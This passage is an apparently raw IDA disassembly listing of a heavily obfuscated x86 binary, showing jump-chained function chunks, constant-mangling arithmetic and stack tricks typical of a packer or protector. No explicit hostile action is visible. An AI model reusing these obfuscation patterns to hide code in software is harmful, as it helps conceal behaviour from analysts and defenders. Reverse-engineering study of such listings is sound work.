		jmp	loc_4475CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C77

loc_442049:				; CODE XREF: sub_448C77:loc_4475CCj
		pop	edx
		mov	eax, [esp+0]
		push	ebp
		mov	ebp, edx
		xchg	ebp, [esp+4+var_4]
		jmp	loc_438A2D
; END OF FUNCTION CHUNK	FOR sub_448C77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_442058:				; CODE XREF: sub_4450FD:loc_43930Aj
					; sub_44B17B-D985j ...
		jmp	loc_440D75
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4450FD

loc_44205D:				; CODE XREF: y22d6.y.:0043AAF8j
					; sub_4450FD+8DF4j
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4450FD

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442060	proc near		; CODE XREF: y22d6.y.:loc_437559p
					; sub_44CC9B:loc_438482j ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043F029 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044A38C SIZE 00000012 BYTES

		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, ecx
		jmp	loc_43F029
sub_442060	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_44206B:				; CODE XREF: sub_440280-7790j
		shl	ecx, 17h
		jg	loc_43DF14
		pushf
		jmp	loc_44785C
; END OF FUNCTION CHUNK	FOR sub_440280
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_294. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E5C7

loc_44207B:				; CODE XREF: sub_44E5C7-B8D4j
		jmp	loc_43A985
; END OF FUNCTION CHUNK	FOR sub_44E5C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439B2C

loc_442080:				; CODE XREF: sub_439B2C+Aj
		jmp	loc_43BD24
; END OF FUNCTION CHUNK	FOR sub_439B2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F9E0

loc_442085:				; CODE XREF: sub_43F9E0:loc_43B2B9j
		call	sub_44D7E0

loc_44208A:				; CODE XREF: y22d6.y.:004375C1j
		mov	edx, ecx
		pop	ecx
		mov	eax, [esp+0]
		push	eax
		jmp	loc_440CF7
; END OF FUNCTION CHUNK	FOR sub_43F9E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44469C

loc_442096:				; CODE XREF: sub_44469C:loc_437AD1j
		rol	ebx, 1Ch
		or	ebx, 486366B3h
		rol	ebx, 1
		add	ebx, 6053E688h
		xchg	ebx, [esp+4+var_4]
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_44469C
; ---------------------------------------------------------------------------

loc_4420AF:				; CODE XREF: y22d6.y.:00438DF2j
		sub	ecx, 0EA07D9D4h

; =============== S U B	R O U T	I N E =======================================



sub_4420B5	proc near		; CODE XREF: y22d6.y.:00449C83p
		xchg	edx, [esp+0]
		pop	edx
		pushf
		push	2CF60D7Bh
		jmp	loc_440F6F
sub_4420B5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B489

loc_4420C4:				; CODE XREF: sub_44B489-6F33j
		xchg	ebx, [eax]
		add	edx, ebx
		add	edi, eax

loc_4420CA:				; CODE XREF: sub_44B489:loc_43D14Fj
		push	9FA40EE1h
		xchg	ebx, [esp+0]
		jmp	loc_43AAB0
; END OF FUNCTION CHUNK	FOR sub_44B489
; ---------------------------------------------------------------------------
		sub	edi, ebp
		jmp	sub_437680
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439595

loc_4420DE:				; CODE XREF: sub_439595-222Fj
					; sub_439595+ED17j
		and	ebx, 0E546ABB0h
		jns	loc_44A91A
; END OF FUNCTION CHUNK	FOR sub_439595
; START	OF FUNCTION CHUNK FOR sub_43C712

loc_4420EA:				; CODE XREF: sub_43C712+5917j
		jmp	nullsub_227
; END OF FUNCTION CHUNK	FOR sub_43C712
; ---------------------------------------------------------------------------

loc_4420EF:				; CODE XREF: y22d6.y.:0043C30Aj
		jmp	nullsub_338
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AD94

loc_4420F4:				; CODE XREF: sub_43AD94+1j
		jmp	loc_449F31
; END OF FUNCTION CHUNK	FOR sub_43AD94
; ---------------------------------------------------------------------------
		test	ecx, edi
		jmp	loc_438856
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_442100:				; CODE XREF: sub_448EB6:loc_446DDCj
					; y22d6.y.:00446DF4j
		call	sub_44BA7B

loc_442105:				; CODE XREF: sub_44633F-D6E5j
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_44210A:				; CODE XREF: sub_440280:loc_442450j
		test	ebp, ebx
		jmp	loc_438EF6
; END OF FUNCTION CHUNK	FOR sub_440280
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445C50

loc_442111:				; CODE XREF: sub_445C50:loc_445C64j
		mov	edx, [esp+0]
		push	eax
		mov	eax, edx
		call	sub_43E913
		jmp	loc_44AAEB
; END OF FUNCTION CHUNK	FOR sub_445C50
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44313A

loc_442121:				; CODE XREF: sub_44313A+582Fj
		push	edi
		push	19B1EAAFh
		pop	edi
		and	edi, 0ADEBC0A6h
		jmp	loc_4381D9
; END OF FUNCTION CHUNK	FOR sub_44313A
; ---------------------------------------------------------------------------
		xor	edx, ebp
		jmp	loc_437789
; ---------------------------------------------------------------------------

loc_44213A:				; DATA XREF: sub_440626:loc_442404o
		xchg	edx, [esp]
		jmp	sub_43CA1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442C0C

loc_442142:				; CODE XREF: sub_442C0C:loc_447C6Aj
		ror	esi, 0Eh
		add	ecx, 5065F967h
		rol	ecx, 18h
		and	ebp, 0DA820110h
		xchg	ecx, ebp
		jmp	loc_43F5DF
; END OF FUNCTION CHUNK	FOR sub_442C0C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_201. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

locret_44215C:				; CODE XREF: y22d6.y.:00437F30j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C62A

loc_44215D:				; CODE XREF: sub_43C62A+CE6Dj
		pop	ebx
		mov	edx, [esp+0]
		push	edi
		mov	edi, eax
		xchg	edi, [esp+4+var_4]
		mov	eax, edx
		call	sub_4463CE
		mov	eax, [esp+4+var_4]
		jmp	loc_44CFC4
; END OF FUNCTION CHUNK	FOR sub_43C62A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_442176:				; CODE XREF: sub_4432B8+25FAj
		jl	loc_43EB52
		js	loc_4404CA
		sbb	eax, 28683294h
		jmp	loc_4377BF
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------

loc_44218D:				; CODE XREF: y22d6.y.:loc_43A5A0j
		mov	edx, ebp
		pop	ebp
		push	offset sub_4399C6
		jmp	loc_444255
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_44219A:				; CODE XREF: sub_44AEDA:loc_449915j
		jl	loc_43974C
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; START	OF FUNCTION CHUNK FOR sub_4409F4

loc_4421A0:				; CODE XREF: sub_4409F4+3271j
		jmp	loc_43902E
; END OF FUNCTION CHUNK	FOR sub_4409F4
; ---------------------------------------------------------------------------
		jnp	sub_44439D
		sbb	ebx, 3A5235E5h
		jmp	loc_439745
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441000

loc_4421B6:				; CODE XREF: sub_441000-21A4j
		mov	ebx, 0F3D31F44h
		shr	ebp, 0Eh

loc_4421BE:				; CODE XREF: sub_441000:loc_43EE54j
		add	ecx, 0D93E16A6h
		rol	ecx, 18h
		cmp	ecx, 0B81A7B92h
		jmp	loc_43BB6B
; END OF FUNCTION CHUNK	FOR sub_441000
; ---------------------------------------------------------------------------

loc_4421D2:				; CODE XREF: y22d6.y.:00444E3Bj
		cdq

; =============== S U B	R O U T	I N E =======================================



sub_4421D3	proc near		; CODE XREF: sub_4445FD+6p

; FUNCTION CHUNK AT 00442E66 SIZE 00000007 BYTES

		xchg	eax, [esp+0]
		pop	eax
		and	dword ptr [eax+24h], 7FFFFFFFh
		lea	eax, [ebp-14h]
		push	ecx
		jmp	loc_442E66
sub_4421D3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44193A

loc_4421E7:				; CODE XREF: sub_44193A-6C37j
		mov	ebp, edi
		pop	edi
		push	45387E86h
		pop	eax
		or	eax, 0EB002046h
		jmp	loc_437263
; END OF FUNCTION CHUNK	FOR sub_44193A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4431CD

loc_4421FB:				; CODE XREF: sub_4431CD+799j
		jbe	loc_445A28
		jmp	loc_4422D0
; END OF FUNCTION CHUNK	FOR sub_4431CD

; =============== S U B	R O U T	I N E =======================================



sub_442206	proc near		; CODE XREF: sub_44633F-D2CAp
					; sub_448BA0:loc_441FAFj
		jno	loc_448F7D
		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_43DBD3
sub_442206	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B98D

loc_442215:				; CODE XREF: sub_43B98D:loc_43E1C3j
		jnz	loc_443ABE

loc_44221B:				; CODE XREF: sub_43B98D+AB6Ej
					; sub_43B98D+DED8j ...
		jnb	loc_43FCE5
		mov	eax, [ebp+8]
		test	byte ptr [eax-10h], 38h
		jnz	loc_443ABE
		mov	eax, [ebp+8]
		push	eax
		mov	eax, [ebp+8]
		jmp	loc_43FCD9
; END OF FUNCTION CHUNK	FOR sub_43B98D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_44223A:				; CODE XREF: sub_438B66+5CB0j
		jge	loc_444B48

loc_442240:				; CODE XREF: y22d6.y.:loc_447DF2j
		jmp	loc_44C254
; END OF FUNCTION CHUNK	FOR sub_438B66

; =============== S U B	R O U T	I N E =======================================



sub_442245	proc near		; DATA XREF: sub_439FCB:loc_43CFB3o

; FUNCTION CHUNK AT 00439BD5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043FF7C SIZE 00000005 BYTES

		push	edi
		pushf
		push	0B8345CFFh
		pop	edi
		sub	edi, 0BFBC1B6h
		and	edi, 3BB64A5Eh
		add	edi, 0D8139195h
		popf
		jmp	loc_43FF7C
sub_442245	endp

; ---------------------------------------------------------------------------

locret_442265:				; CODE XREF: y22d6.y.:0044A4F2j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442266	proc near		; CODE XREF: sub_448EB6-DD05p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0043DE80 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00440B36 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004413B9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AB8B SIZE 0000001F BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax-8], 10h
		jmp	loc_4413B9
sub_442266	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_89. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_442282:				; CODE XREF: y22d6.y.:0044B9D3j
		jmp	loc_44446C
; ---------------------------------------------------------------------------

loc_442287:				; CODE XREF: y22d6.y.:00449667j
		jmp	loc_4478A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D20E

loc_44228C:				; CODE XREF: sub_43D20E+B92Ej
		jmp	loc_43AB7C
; END OF FUNCTION CHUNK	FOR sub_43D20E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_141. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_442292:				; CODE XREF: y22d6.y.:0044C363j
		mov	byte ptr [eax],	0C3h
		jmp	loc_43EBB2

; =============== S U B	R O U T	I N E =======================================



sub_44229A	proc near		; CODE XREF: sub_4099FF+27Fp
					; sub_4099FF+29Fp ...
		call	sub_4422AA
		jmp	ds:off_41E090
sub_44229A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F7FF

loc_4422A5:				; CODE XREF: sub_43F7FF+8C33j
		jmp	nullsub_110
; END OF FUNCTION CHUNK	FOR sub_43F7FF

; =============== S U B	R O U T	I N E =======================================



sub_4422AA	proc near		; CODE XREF: sub_44229Ap
					; sub_44B1D2:loc_44407Cj ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00439521 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 004399F4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043ACC6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BDC2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043FC14 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440DB0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A364 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044B6D8 SIZE 00000012 BYTES

		pop	edx
		jz	loc_43BDC2
		mov	eax, [esp+0]
		push	edx
		jmp	loc_440DB0
sub_4422AA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4422BA	proc near		; CODE XREF: sub_4432B8+61p
					; y22d6.y.:00444E4Fj
		xchg	edi, [esp+0]
		pop	edi
		mov	[ebx], eax
		pop	ebx
		jmp	nullsub_361
sub_4422BA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E953

loc_4422C6:				; CODE XREF: sub_43E953j
		push	offset loc_43EF48
		jmp	loc_43D2AB
; END OF FUNCTION CHUNK	FOR sub_43E953
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55B

loc_4422D0:				; CODE XREF: y22d6.y.:loc_437D31j
					; sub_44633F:loc_43D5E5j ...
		mov	esp, ebp
		xchg	eax, [esp+0]
		push	eax
		pop	ebp
		jmp	loc_4484BC
; END OF FUNCTION CHUNK	FOR sub_43C55B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BBBA

loc_4422DC:				; CODE XREF: sub_44BBBA:loc_43B69Aj
					; y22d6.y.:0043B6B2j
		call	sub_44D54C
; ---------------------------------------------------------------------------

loc_4422E1:				; CODE XREF: sub_43C55B+BFE3j
		jmp	loc_43773D
; END OF FUNCTION CHUNK	FOR sub_44BBBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_4422E6:				; CODE XREF: sub_438B66+F7FDj
		jmp	loc_4483FC
; END OF FUNCTION CHUNK	FOR sub_438B66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_4422EB:				; CODE XREF: sub_4432B8+17j
		jmp	loc_43E85B
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
		jmp	ds:dword_41E164
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_46. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	offset loc_43C1DF
		jmp	loc_43F93E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_330. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		pop	ebx
		jmp	sub_44CD98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AB7B

loc_442308:				; CODE XREF: sub_44AB7B+Bj
		push	0C9FBC6E4h
		pop	ecx
		and	ecx, 0C840F843h
		jnz	loc_44CABB
; END OF FUNCTION CHUNK	FOR sub_44AB7B
; START	OF FUNCTION CHUNK FOR sub_444427

loc_44231A:				; CODE XREF: sub_444427+2C31j
		jmp	loc_43EEAF
; END OF FUNCTION CHUNK	FOR sub_444427
; ---------------------------------------------------------------------------
		adc	edx, esi
; START	OF FUNCTION CHUNK FOR sub_44485F

loc_442321:				; CODE XREF: sub_44485F:loc_44C5A7j
		jmp	loc_4434B9
; END OF FUNCTION CHUNK	FOR sub_44485F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_442326:				; CODE XREF: sub_4432B8+7931j
		ja	loc_448878
		add	ebx, 0B1CBA112h
		mov	[esi], ebp

loc_442334:				; CODE XREF: sub_4432B8:loc_44447Dj
		call	sub_43FD7A

loc_442339:				; CODE XREF: sub_44D041:loc_44713Bj
		pop	esi
		rol	esi, 1Eh
		add	esi, 7C1BC504h
		xchg	esi, [esp-4+arg_0]
		jmp	loc_43FFF9
; END OF FUNCTION CHUNK	FOR sub_4432B8

; =============== S U B	R O U T	I N E =======================================



sub_44234B	proc near		; DATA XREF: sub_447896+5641o
		call	sub_44ABC9
		push	584AF9DEh
		pop	eax
		or	eax, 0CC11B1D6h
		and	eax, 9A772069h
		sub	eax, 34C19509h
sub_44234B	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_447268

loc_442368:				; CODE XREF: sub_447268+2C8Ej
		add	eax, 55E0E31Bh
		jmp	loc_439CE5
; END OF FUNCTION CHUNK	FOR sub_447268
; ---------------------------------------------------------------------------

loc_442373:				; CODE XREF: y22d6.y.:0044CB05j
		jz	loc_44970F

loc_442379:				; CODE XREF: y22d6.y.:00438102j
		jmp	loc_445E16
; ---------------------------------------------------------------------------
		jle	loc_44A64F
		ja	loc_43CD48
		or	esi, 9D0AE587h
		jmp	loc_44970B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437FD8

loc_442395:				; CODE XREF: sub_437FD8:loc_43E0C4j
		sub	al, 99h
		push	0B0ECB097h
		pop	edx
		or	edx, 5D769D42h
		test	edx, 200h
		jmp	loc_43AB65
; END OF FUNCTION CHUNK	FOR sub_437FD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E037

loc_4423AE:				; CODE XREF: sub_43E037+Cj
		or	eax, 7F743AF5h
		xor	eax, 9DE85E7Eh
		add	eax, ebp
		push	ecx
		push	1CDDB5D5h
		pop	ecx
		or	ecx, ds:4000E7h
		jmp	loc_44D84F
; END OF FUNCTION CHUNK	FOR sub_43E037
; ---------------------------------------------------------------------------

loc_4423CE:				; CODE XREF: y22d6.y.:loc_43D855j
		add	ebx, 3431A8ADh
		xchg	ebx, [esp]
		jmp	loc_441540
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_4423DC:				; CODE XREF: sub_4432B8:loc_447100j
					; y22d6.y.:loc_44A188j
		mov	esi, eax
		xchg	esi, [esp-4+arg_0]
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp+0]
		mov	edx, eax
		call	sub_44D088
		jmp	sub_4477E6
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447268

loc_4423F3:				; CODE XREF: sub_447268:loc_449EEEj
					; sub_447268+2C94j
		rol	edx, 13h
		add	edx, 5EBF06BCh

loc_4423FC:				; CODE XREF: y22d6.y.:00441780j
		xchg	edx, [esp+8+var_8]
		jmp	loc_43CC15
; END OF FUNCTION CHUNK	FOR sub_447268
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440626

loc_442404:				; CODE XREF: sub_440626-1A2Aj
		push	offset loc_44213A
		jmp	nullsub_196
; END OF FUNCTION CHUNK	FOR sub_440626
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447896

loc_44240E:				; CODE XREF: sub_447896-1373j
		jl	loc_44657A
		mov	edi, eax
		mov	ecx, [ebx]
		jmp	loc_44657A
; END OF FUNCTION CHUNK	FOR sub_447896
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44241D:				; CODE XREF: sub_448EB6-102F1j
		jl	loc_443C42
		xchg	ebx, eax
		jmp	loc_44383F
; ---------------------------------------------------------------------------

loc_44242A:				; CODE XREF: sub_448EB6:loc_449068j
		jo	loc_43C370
		xor	ebp, 7A3E73B9h
		jmp	loc_449122
; END OF FUNCTION CHUNK	FOR sub_448EB6

; =============== S U B	R O U T	I N E =======================================



sub_44243B	proc near		; CODE XREF: sub_43CA1Ap
					; y22d6.y.:0044B619j

; FUNCTION CHUNK AT 0043897B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043DCF8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FAC1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004451A3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044CB0A SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0044D1FA SIZE 0000000B BYTES

		xchg	edi, [esp+0]
		pop	edi
		jnz	loc_4451A3
		push	0BE34DEFAh
		jmp	loc_44CB0A
sub_44243B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_44244F:				; CODE XREF: y22d6.y.:0044392Ej
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_442450:				; CODE XREF: sub_440280:loc_447F7Aj
		jmp	loc_44210A
; END OF FUNCTION CHUNK	FOR sub_440280
; ---------------------------------------------------------------------------

loc_442455:				; CODE XREF: y22d6.y.:00444D8Aj
		jmp	loc_43927E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449641

loc_44245A:				; CODE XREF: sub_449641-C9FAj
		jmp	loc_4371FC
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4385ED

loc_44245F:				; CODE XREF: sub_4385ED+Cj
		jnz	loc_43A354
		mov	eax, [ebp-14h]
		mov	eax, [eax+24h]
		add	eax, [ebp-4]
		xor	edx, edx

loc_442470:				; CODE XREF: sub_448EB6:loc_44BD91j
		push	edx
		jmp	loc_44566E
; END OF FUNCTION CHUNK	FOR sub_4385ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4477E6

loc_442476:				; CODE XREF: sub_4477E6:loc_44C779j
		add	ecx, 0E43571AAh
		mov	[ecx], eax
		pop	ecx
		mov	eax, [ebp-4]
		mov	al, [eax]
		jz	loc_44C913
		sub	al, 99h
		push	5088622Ch
		jmp	loc_44B658
; END OF FUNCTION CHUNK	FOR sub_4477E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AA5D

loc_442496:				; CODE XREF: sub_44AA5D:loc_448034j
		mov	eax, [esp+0]
		push	edx
		push	ebx
		push	0B0260C3Fh
		pop	ebx
		jmp	loc_442648
; END OF FUNCTION CHUNK	FOR sub_44AA5D
; ---------------------------------------------------------------------------

loc_4424A6:				; CODE XREF: y22d6.y.:0043D411j
		jz	loc_44704E

; =============== S U B	R O U T	I N E =======================================



sub_4424AC	proc near		; CODE XREF: sub_44C222:loc_4437FAp

; FUNCTION CHUNK AT 0043846F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044C2BA SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	0CBD0ED20h
		jmp	loc_44C2BA
sub_4424AC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44374A

loc_4424BA:				; CODE XREF: sub_44374A-EBBj
		shl	ebx, 15h
		rol	ebx, 1

loc_4424BF:				; CODE XREF: sub_44374A:loc_440908j
		mov	eax, 33F214AFh
		call	sub_43CA1A
		rol	eax, 12h
		push	offset sub_437913
		jmp	loc_43E329
; END OF FUNCTION CHUNK	FOR sub_44374A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_4424D6:				; CODE XREF: sub_44271A:loc_44E1E2j
		or	eax, 96A72D6h
		and	eax, 0B7CADF98h
		add	eax, 48F93550h
		mov	eax, [eax]
		mov	[eax], ebx
		push	0EE060C1Ah
		pop	eax
		jmp	loc_43B3F2
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------
		jmp	ds:off_41E100
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B98D

loc_4424FD:				; CODE XREF: sub_43B98D+BE7Aj
		jmp	nullsub_10
; END OF FUNCTION CHUNK	FOR sub_43B98D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4431CD

loc_442502:				; CODE XREF: sub_448EB6-106D1j
					; sub_4431CD:loc_44AB54j ...
		push	offset loc_44B6C4
		jmp	nullsub_128
; END OF FUNCTION CHUNK	FOR sub_4431CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444427

loc_44250C:				; CODE XREF: sub_444427-AB0j
		jge	loc_44926F
		test	eax, 159222DBh
		jmp	loc_4482E0
; END OF FUNCTION CHUNK	FOR sub_444427
; ---------------------------------------------------------------------------
		and	eax, 0BBCCBC1Ah
		mov	ebp, eax
		jmp	sub_443B55
; ---------------------------------------------------------------------------

loc_44252A:				; CODE XREF: y22d6.y.:0044C64Ej
		pop	esi
		sub	esi, 94314C2h
		rol	esi, 12h
		push	offset sub_4391EE
		jmp	locret_44B20B
; ---------------------------------------------------------------------------

loc_44253E:				; CODE XREF: y22d6.y.:0044E267j
		popf
		pushf
; START	OF FUNCTION CHUNK FOR sub_43C6D7

loc_442540:				; CODE XREF: sub_43C6D7:loc_44E252j
		add	ecx, 4FF92704h
		sub	eax, ecx
		jmp	loc_4488C8
; END OF FUNCTION CHUNK	FOR sub_43C6D7
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7B5

loc_44254E:				; CODE XREF: sub_43B7B5+9B92j
		jmp	loc_44744F
; END OF FUNCTION CHUNK	FOR sub_43B7B5
; ---------------------------------------------------------------------------
		db 0Bh
dword_442554	dd 0AA6061C0h		; DATA XREF: sub_43A6E1:loc_437AA1r
					; sub_43A6E1+6r ...
; ---------------------------------------------------------------------------

loc_442558:				; CODE XREF: y22d6.y.:00444402j
		jmp	sub_447268

; =============== S U B	R O U T	I N E =======================================



sub_44255D	proc near		; CODE XREF: sub_40CA0C+AAp
					; sub_40E68F+B9p ...
		call	sub_44256D
		jmp	ds:off_41E194
sub_44255D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_442568:				; CODE XREF: sub_438B66+11C98j
		jmp	locret_4408E4
; END OF FUNCTION CHUNK	FOR sub_438B66

; =============== S U B	R O U T	I N E =======================================



sub_44256D	proc near		; CODE XREF: y22d6.y.:00439661j
					; sub_4388E5:loc_43EFFBj ...

; FUNCTION CHUNK AT 00438875 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004398BF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F1B7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440B97 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004431BD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00445D7F SIZE 00000028 BYTES
; FUNCTION CHUNK AT 004486FA SIZE 00000010 BYTES

		jno	loc_445D98
		pop	edx
		jmp	loc_438875
sub_44256D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		js	loc_43B725
		cmp	ebp, ebx
		jmp	loc_441BFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44371A

loc_442586:				; CODE XREF: sub_44371A:loc_438031j
		push	eax
		call	sub_4480DE
		retn
; END OF FUNCTION CHUNK	FOR sub_44371A
; ---------------------------------------------------------------------------

loc_44258D:				; CODE XREF: y22d6.y.:00447DE0j
		jmp	loc_43BEB0

; =============== S U B	R O U T	I N E =======================================



sub_442592	proc near		; CODE XREF: sub_44AA69-115EEp
					; sub_44CEB8-10386j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043E892 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445766 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044840D SIZE 00000015 BYTES

		jnb	sub_43D8B5
		push	esi
		jmp	loc_43E892
sub_442592	endp

; ---------------------------------------------------------------------------
		mov	edi, [ebp+0]
		jmp	loc_441689
; ---------------------------------------------------------------------------
		sbb	ebx, edi
		shl	esi, 3
		jmp	sub_44AC0F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_4425B0:				; CODE XREF: sub_4432B8+718Aj
		mov	ecx, eax
		or	ebx, ebp
		push	361D3754h
		cmp	esi, 0FB7AB620h
		jmp	loc_43F7AB
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------

loc_4425C4:				; CODE XREF: y22d6.y.:00441509j
		add	esi, eax
; START	OF FUNCTION CHUNK FOR sub_43B7B5

loc_4425C6:				; CODE XREF: sub_43B7B5+D208j
		call	sub_44ACEA
		retn
